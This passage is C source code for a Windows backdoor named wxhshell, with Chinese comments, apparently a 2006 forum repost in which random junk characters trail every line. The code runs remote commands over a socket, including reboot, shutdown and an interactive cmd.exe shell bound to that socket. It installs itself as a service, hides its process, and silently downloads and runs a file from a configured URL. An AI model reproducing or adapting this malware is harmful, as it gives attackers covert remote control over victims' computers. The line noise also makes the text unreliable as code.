  &NP6%}bR`  
  // 帮助 >Qk97we'9  
  case '?': { Fva]*5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Re\o v x9  
    break; ]gHLcr3  
  } r"[L0Cbb  
  // 安装 YR8QO-7 .)  
  case 'i': { .> ,Z k S  
    if(Install()) %\l0-RA@<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); No~ 6s.H  
    else K]MzP|T,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _]_LF[  
    break; ja:\W\xhJ  
    } v'$ykZ!Z  
  // 卸载 4NI ' (#l  
  case 'r': { ?9qAe  
    if(Uninstall()) ',%5mF3j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eoJFh  
    else <@%ma2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #-A5Z;TD.  
    break; Yr:>icz|  
    } %K`4k.gN  
  // 显示 wxhshell 所在路径 l2r>|CGQ[  
  case 'p': { fA;x{0CAMX  
    char svExeFile[MAX_PATH]; ,qYf#fU#7  
    strcpy(svExeFile,"\n\r"); VgUvD1v?}  
      strcat(svExeFile,ExeFile); y.%i  
        send(wsh,svExeFile,strlen(svExeFile),0); "^!j5fZ  
    break; QZz&1n  
    } sM<:C  
  // 重启 ;,R[]B01u  
  case 'b': { .!9Vt#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m2wp m_vV#  
    if(Boot(REBOOT)) *?s/Ho &'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j`Tm\!q  
    else { L/c4"f|.*v  
    closesocket(wsh); zv&ePq\#  
    ExitThread(0); |YJ$c @  
    } |yuGK  
    break; uF.Q ",<  
    } F%9e@{  
  // 关机  `NTM%# w  
  case 'd': { nqBG]y aI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [9'|7fdU  
    if(Boot(SHUTDOWN)) 6oPUYn-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +!D=SnBGs  
    else { Zjw!In|vC  
    closesocket(wsh); J{a Q1)  
    ExitThread(0); R994R@gz  
    } ]:[)KZ~  
    break; v#{G8'+%  
    } -9hp+0 <  
  // 获取shell oSpi{ $x  
  case 's': { }(8D!XgWa  
    CmdShell(wsh); #p']-No  
    closesocket(wsh); WK/b=p|#o  
    ExitThread(0); ^\xCqVk_R  
    break; N[- %0  
  } ){?mKB5  
  // 退出 liBAJx  
  case 'x': { HQ ELK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q"x`+?!  
    CloseIt(wsh); L{+&z7M  
    break; &ryl$!!3H  
    } .aVHd<M  
  // 离开 6{Krw \0  
  case 'q': { g6x/f<2x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S,ouj;B  
    closesocket(wsh); JNU"5sB  
    WSACleanup(); ?GaI6?lbn  
    exit(1); }[XB]Xf  
    break; 5P5A,K  
        } PEOM1oY)w  
  } (**-"o]HH  
  } ::^qy^n  
<DA{\'jJ  
  // 提示信息 w !=_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [u!p-  
} 0R2S@4%Y  
  } bn^mL~  
9b"}CEw  
  return;  60Xl.  
} [qO5~E`;  
2ID*U d*  
// shell模块句柄 Gd]5xl HRU  
int CmdShell(SOCKET sock) .b!OZ  
{ e _SoM!;  
STARTUPINFO si; "u3fs2  
ZeroMemory(&si,sizeof(si)); WcV\kemf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wsdB; 6%$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '7RR2f>V  
PROCESS_INFORMATION ProcessInfo; -+j9X;h:  
char cmdline[]="cmd"; KNO*)\   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); op.PS{_t  
  return 0; yhw:xg_;Kz  
} \UkNE5  
Pl>nd)i`  
// 自身启动模式 d=xI   
int StartFromService(void) ;L\!g%a  
{ {Oc?C:aI=  
typedef struct t(uB66(_F  
{ S20 nk.x  
  DWORD ExitStatus; '/gxjr&  
  DWORD PebBaseAddress; #'G7mAoA  
  DWORD AffinityMask; 2yi*eR  
  DWORD BasePriority; B J:E,P`_  
  ULONG UniqueProcessId; dd?x5|/#  
  ULONG InheritedFromUniqueProcessId; ArEH%e  
}   PROCESS_BASIC_INFORMATION; )sY$\^'WY  
 9^b7jw  
PROCNTQSIP NtQueryInformationProcess; )n[`Z#  
;Wfv+]n9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l"~h1xk~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vJ#rW8y  
5 ~ *'>y  
  HANDLE             hProcess; wHo#%Y,Nmi  
  PROCESS_BASIC_INFORMATION pbi; vMW-gk  
~8Dd<4?F]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P@! Q1pr  
  if(NULL == hInst ) return 0; 4:%El+,_Y  
i"r.>X'Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O;&yA<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Rpa A)R,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $@ T6g  
)+Y\NO?O  
  if (!NtQueryInformationProcess) return 0; 6a2w-}Fs  
SoM ]2^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SzgY2+Qq  
  if(!hProcess) return 0; V fE^g\Ia  
7Dx .;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |RvpEy7 6  
$fj"*   
  CloseHandle(hProcess); Hjo:;s  
RJ`/qXL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]ukj]m/@  
if(hProcess==NULL) return 0; :`Zl\!]E`o  
p[k9C$@e}  
HMODULE hMod; +"N<-  
char procName[255]; ~YT>:Np  
unsigned long cbNeeded; (`uC"MLk  
o<Rxt *B  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n_!]B_Vd$  
UmP?}Xw6  
  CloseHandle(hProcess); NZw[.s>n  
]>S$R&a  
if(strstr(procName,"services")) return 1; // 以服务启动 _+ R_ms  
ek0;8Ds9  
  return 0; // 注册表启动 x/jN& ;"/  
} Do[ F+Y  
%8`1Li6g  
// 主模块 0F;(_2V-  
int StartWxhshell(LPSTR lpCmdLine) t6,M  
{ m;tY(kO  
  SOCKET wsl; |]]pHC_/W  
BOOL val=TRUE; At^DY!3vx  
  int port=0; NGb! 7Mu9  
  struct sockaddr_in door; S#%JSQo:  
H?/cG_^y0  
  if(wscfg.ws_autoins) Install(); 7]HIE]#  
Ph7(JV{  
port=atoi(lpCmdLine); U%B]N@  
C}DG'z9  
if(port<=0) port=wscfg.ws_port; v,x%^gv0  
J?,!1V=  
  WSADATA data; nF!_q;+Vp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U~zN*2-  
[0,q7d?"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t2-zJJf8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Lh9>8@ jf  
  door.sin_family = AF_INET; IG3K Pmu  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q NQ3(1xW  
  door.sin_port = htons(port); ; HLMU36q  
<J_,9&\J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 77=y!SDP  
closesocket(wsl); C6=;(=?C  
return 1; 'm p{O  
} .5Z@5g`  
3vGaT4TDx  
  if(listen(wsl,2) == INVALID_SOCKET) { U*+!w@ .  
closesocket(wsl); |@bNd7=2d  
return 1; Z@aL"@2]a  
} RxDxLU2kt  
  Wxhshell(wsl); yfw>y=/p  
  WSACleanup(); !+26a*P  
[XU{)l  
return 0; u>i+R"hi"  
H|Fqc=qp  
} u4*]jt;H  
]2s Zu7  
// 以NT服务方式启动 jiB>.te  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `\u),$  
{ {pJ@I=q  
DWORD   status = 0; s"Pk-Dv  
  DWORD   specificError = 0xfffffff; i\R\bv[9  
$q@RHcj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ) eGu4iEPM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 02 c.;ka3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [Jh))DIx  
  serviceStatus.dwWin32ExitCode     = 0; >fzzrD}]  
  serviceStatus.dwServiceSpecificExitCode = 0; kFZu/HRI  
  serviceStatus.dwCheckPoint       = 0; >zx50e)  
  serviceStatus.dwWaitHint       = 0; u.K'"-xt4K  
'FA)LuAok  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ujp,D#xHP  
  if (hServiceStatusHandle==0) return; eq 1 4  
t:j07 ,1~  
status = GetLastError(); 6%hEs6-R  
  if (status!=NO_ERROR) [,?A$Z*Z|  
{ f+88R=-u6S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .$s|T  
    serviceStatus.dwCheckPoint       = 0; nF y7gA|  
    serviceStatus.dwWaitHint       = 0; xbH!:R;  
    serviceStatus.dwWin32ExitCode     = status; -N!soJ<  
    serviceStatus.dwServiceSpecificExitCode = specificError; `&Of82*w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); aKU8" 5  
    return; cM'[;u  
  } }PD(kk6fX  
w0%ex#lkm  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]~x/8%e76  
  serviceStatus.dwCheckPoint       = 0; -clg 'Aa;.  
  serviceStatus.dwWaitHint       = 0; N*)8L[7_;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \]:NOmI^'  
} g:6}zHK  
]X;*\-  
// 处理NT服务事件,比如:启动、停止 *z:lq2"G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) MKYE]D;  
{ 8\t7}8f  
switch(fdwControl) f7AJSHe  
{ yW,#&>]# |  
case SERVICE_CONTROL_STOP: gl{P LLe[}  
  serviceStatus.dwWin32ExitCode = 0; +q?0A^C>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P##(V!YR  
  serviceStatus.dwCheckPoint   = 0; u2m{Yx|  
  serviceStatus.dwWaitHint     = 0; Gg,k  
  { T`0gtSS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {.8)gVBmA  
  } -OGy-"  
  return; #UnO~IE.m$  
case SERVICE_CONTROL_PAUSE: zSufU2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +A3\Hj&W  
  break; [B;Ek \5W  
case SERVICE_CONTROL_CONTINUE: M#<fh:>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZaV66Y>  
  break; !_z>w6uR  
case SERVICE_CONTROL_INTERROGATE: FJH8O7  
  break; c] 9CN  
}; k yA(m;r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ill'K Py  
} =@/^1.`  
[*E.G~IS`  
// 标准应用程序主函数 wbKBwI5w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !x / Z"  
{ Pb&+(j  
Jy NY *  
// 获取操作系统版本 &IY_z0=  
OsIsNt=GetOsVer(); ' "p*FN  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |Dpfh  
p%tg->#L  
  // 从命令行安装 90k|u'ikOp  
  if(strpbrk(lpCmdLine,"iI")) Install(); rSCX$ @@F  
`%:(IGxz  
  // 下载执行文件 Yzx0[_'u  
if(wscfg.ws_downexe) { >V=@[B(0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tce8*:rNH  
  WinExec(wscfg.ws_filenam,SW_HIDE); mK/P4]9g  
} &jd<rs5}  
} ZGpd9D  
if(!OsIsNt) { &8L\FAY0%9  
// 如果时win9x,隐藏进程并且设置为注册表启动 TTak[e&j3  
HideProc(); 3Ya6yz  
StartWxhshell(lpCmdLine); 'U Cx^-  
} Gf.o{  
else n,LKkOG  
  if(StartFromService()) ]KT,s].  
  // 以服务方式启动 [:'?}p  
  StartServiceCtrlDispatcher(DispatchTable); \`5u@Nzx  
else ,B>b9,~3a  
  // 普通方式启动 euC,]n.  
  StartWxhshell(lpCmdLine); ee[NZz  
Pt;Ahmi  
return 0; RIx6& 7$  
}
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只看该作者 1 发表于: 2006-10-10
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